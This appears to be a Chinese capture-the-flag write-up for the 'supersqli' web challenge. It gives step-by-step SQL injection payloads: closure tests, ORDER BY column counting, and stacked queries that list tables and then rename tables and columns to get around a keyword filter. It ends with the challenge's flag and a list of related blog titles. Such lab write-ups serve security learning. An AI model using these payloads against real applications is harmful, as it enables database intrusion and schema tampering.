攻防世界(CTF)~web-supersqli(详细解题思路)

题目介绍

题目描述"随便注"

先看一下是否存在注入

判断闭合方式

输入1' and 1=1-- -正常回显

输入1'and 1=2-- -无回显,确认是单引号闭合

看一下列数

输入1' order by 2-- - 有回显

输入1' order by 3-- - 报错,由此判断两列

使用union联合注入发现select被过滤了,无法使用联合注入

过滤的内容

复制代码
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

尝试一下堆叠注入

堆叠注入的原理

mysql数据库sql语句的默认结束符是以;结尾,在执行多条SQL语句时就要使用结束符隔开,那么在;结束一条sql语句后继续构造下一条语句,会一起执行。这就是堆叠注入的基本原理

查看数据库

1';show databases;- --

查看表

1';show tables;-- -

查看两个表的字段(查看表名的时候表名要用反引号包裹)

1919810931114514表

1'; show columns from `1919810931114514`-- -

发现"flag"、"NO"

words表

1'; show columns from `words`-- -

现在虽然已经到了flag字段,但是select被过滤了,我们看不了flag字段,那么我们该怎么查看字段内容呢?

解决方法:改表名

查看过滤的内容发现rename、alert这俩关键字没有被过滤,根据在words表里发现id字段与查询框里的出的数据类型相同,一个是数字,另一个是字符串,所以默认查询的就是words表,我们可以将含有flag字段的表命名为word,然后修改字段名字

第一步:words名改为word1

alter table words rename to word1;

第二步 :把"1919810931114514"数字表名改为 words

alter table `1919810931114514` rename to words;

第三步:把现在的words表中的flag字段名改为id

alter table words change flag id varchar(100);

合在一起构造pyload(也可以分开执行语句)

1'; alter table words rename to word1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);-- -

查看flag

1' or true-- -

复制代码
flag{c168d583ed0d4d7196967b28cbd0b5e9}
相关推荐
大方子10 小时前
【PolarCTF】rce1
网络安全·polarctf
枷锁—sha11 小时前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
聚铭网络12 小时前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位
网络安全
darkb1rd14 小时前
八、PHP SAPI与运行环境差异
开发语言·网络安全·php·webshell
世界尽头与你18 小时前
(修复方案)基础目录枚举漏洞
安全·网络安全·渗透测试
枷锁—sha2 天前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全
liann1192 天前
3.1_网络——基础
网络·安全·web安全·http·网络安全
ESBK20252 天前
第四届移动互联网、云计算与信息安全国际会议(MICCIS 2026)二轮征稿启动,诚邀全球学者共赴学术盛宴
大数据·网络·物联网·网络安全·云计算·密码学·信息与通信
旺仔Sec2 天前
一文带你看懂免费开源 WAF 天花板!雷池 (SafeLine) 部署与实战全解析
web安全·网络安全·开源·waf
七牛云行业应用2 天前
Moltbook一夜崩盘:150万密钥泄露背后的架构“死穴”与重构实战
网络安全·postgresql·架构·高并发·七牛云